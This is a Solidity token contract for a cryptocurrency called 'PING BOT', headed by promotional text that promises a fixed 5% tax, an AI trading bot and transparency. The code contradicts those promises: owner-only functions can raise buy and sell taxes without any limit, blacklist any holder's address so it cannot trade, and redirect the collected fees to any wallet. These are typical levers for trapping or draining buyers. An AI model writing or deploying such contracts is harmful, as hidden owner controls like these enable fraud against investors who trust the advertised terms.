/**

$Ping is the only tool you need. Our AI-powered algorithm scans the market for the potential plays, reviews the tokens, and gives a custom safety score. We also have built-in purchase features to help speed up the process and increase your profitability.

Tokenomics：

- 1 million total supply

- 5% tax for both buys and sells
1% Auto added to liquidity, this will help stabilize the floor by continuously adding liquidity throughout.
2% Development, this will be used to pay for bot development, systems, servers, staff etc.
2% Marketing & Treasury, a portion of these funds will be used to run marketing to bring more eyes and investors on $PING. The other portion will be collected into a treasury wallet to be used within the project.

- Liquidity pool
20% Will be left unlocked to cover operational costs and the growth of the project. We'll be as transparent as we can and always announce on where these funds are used.
80% Will be added to the Uniswap V2 pool and will be initially locked for 6 months.

- Limit amount
Max transaction 1% =10,000 $PING (will be raised shortly after launch 2%) 
Max Wallet 1% =10,000 $PING (will be raised shortly after launch too 2%)

-Social Links
Twitter- https://x.com/pingerc20
Tg-https://t.me/PingErc
Web-https://pingerc.com


*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Token is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address payable private MarketingWallet;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping (address => bool) private bots;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){

        _name = "PING BOT";
        _symbol = "PING";
        _decimals = 18;
        uint256 Supply = 1000000;

        _totalSupply = Supply * 10 ** _decimals;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        MarketingWallet = payable(msg.sender);
        _walletMAX = _totalSupply * 1 / 100;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[MarketingWallet] = true;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _isExcludeFromFee[address(swapRouter)] = true;

    }

    function setFundAddr(
        address payable newAddr
    ) public onlyOwner{
        MarketingWallet = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount=0;
    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=5;
    uint256 private _finalSellTax=5;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    bool public remainHolder = true;
    function changeRemain() public onlyOwner{
        remainHolder = !remainHolder;
    }

    uint256 public _walletMAX;

    function setWalletMax(uint8 percentage) public onlyOwner{
        _walletMAX = totalSupply() * percentage / 100;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (inSwap){
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))){
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > 0){
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            require(!bots[from]);
            takeFee = true;
            
            if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) {
                _buyCount++;
                require(balanceOf(to) + amount <= _walletMAX,"walletlimit");
            }

            if (remainHolder && amount == balance) {
                amount = amount - (amount / 10000);
            }

        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    uint256 public startTradeBlock;
    function startTrade() public onlyOwner {
        startTradeBlock = block.number;
    }

    function removeERC20(address _token) external {
        if(_token != address(this)){
            IERC20(_token).transfer(MarketingWallet, IERC20(_token).balanceOf(address(this)));
            MarketingWallet.transfer(address(this).balance);
        }
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 _bal = address(this).balance;
        if (_bal > 0.01 ether){
            MarketingWallet.transfer(_bal);
        }
    }

    function setFeeExclude(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}